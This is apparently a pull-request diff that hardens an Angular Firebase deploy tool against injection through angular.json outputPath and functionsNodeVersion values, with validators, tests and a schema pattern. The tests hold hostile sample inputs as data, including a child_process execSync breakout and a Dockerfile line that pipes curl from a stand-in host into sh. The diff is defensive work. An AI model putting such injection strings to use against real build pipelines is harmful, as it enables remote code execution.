Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
32 changes: 31 additions & 1 deletion src/schematics/deploy/actions.jasmine.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ import { join } from 'path';
import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
import { JsonObject, logging } from '@angular-devkit/core';
import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
import deploy, { deployToFunction } from './actions.js'
import deploy, { assertSafeNodeVersion, assertSafeOutputPath, deployToFunction } from './actions.js'
import 'jasmine';

let context: BuilderContext;
Expand Down Expand Up @@ -300,3 +300,33 @@ describe('universal deployment', () => {
expect(spy).not.toHaveBeenCalled();
});*/
});

describe('deploy codegen input validation (injection hardening)', () => {
describe('assertSafeOutputPath', () => {
['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => {
it(`allows the valid outputPath "${p}"`, () => {
expect(assertSafeOutputPath(p, 'proj:server')).toBe(p);
});
});

[`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => {
it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => {
expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/);
});
});
});

describe('assertSafeNodeVersion', () => {
[undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => {
it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => {
expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow();
});
});

['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => {
it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => {
expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/);
});
});
});
});
30 changes: 30 additions & 0 deletions src/schematics/deploy/actions.ts
Original file line number Diff line number Diff line change
Expand Up @@ -63,6 +63,31 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;

const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');

// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
// and into the generated package.json start script (`node <path>/main.js`), both of which
// are later executed. Reject any value that could break out of that string literal or the
// shell command; a legitimate build output directory never contains these characters.
export const assertSafeOutputPath = (outputPath: string, targetName: string): string => {
if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath)) {
throw new SchematicsException(
`Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
);
}
return outputPath;
};

// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
// (`FROM node:<version>-slim`), executed during the Cloud Run container build. Restrict it
// to a plain version so it cannot inject extra Dockerfile instructions.
export const assertSafeNodeVersion = (version: string | number | undefined): void => {
if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) {
throw new SchematicsException(
`Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.`
);
}
};

const moveSync = (src: string, dest: string) => {
copySync(src, dest);
removeSync(src);
Expand Down Expand Up @@ -177,13 +202,15 @@ export const deployToFunction = async (
`Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
);
}
assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);

const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
throw new Error(
`Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
);
}
assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);

const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
Expand Down Expand Up @@ -296,13 +323,15 @@ export const deployToCloudRun = async (
`Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
);
}
assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);

const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
throw new Error(
`Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
);
}
assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);

const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
Expand Down Expand Up @@ -335,6 +364,7 @@ export const deployToCloudRun = async (
JSON.stringify(packageJson, null, 2),
);

assertSafeNodeVersion(options.functionsNodeVersion);
fsHost.writeFileSync(
join(cloudRunOut, 'Dockerfile'),
dockerfile(options)
Expand Down
1 change: 1 addition & 0 deletions src/schematics/deploy/schema.json
Original file line number Diff line number Diff line change
Expand Up @@ -55,6 +55,7 @@
},
"functionsNodeVersion": {
"oneOf": [{ "type": "number" }, { "type": "string" }],
"pattern": "^\\d+(\\.\\d+)*$",
"description": "Version of Node.js to run Cloud Functions / Run on"
},
"CF3v2": {
Expand Down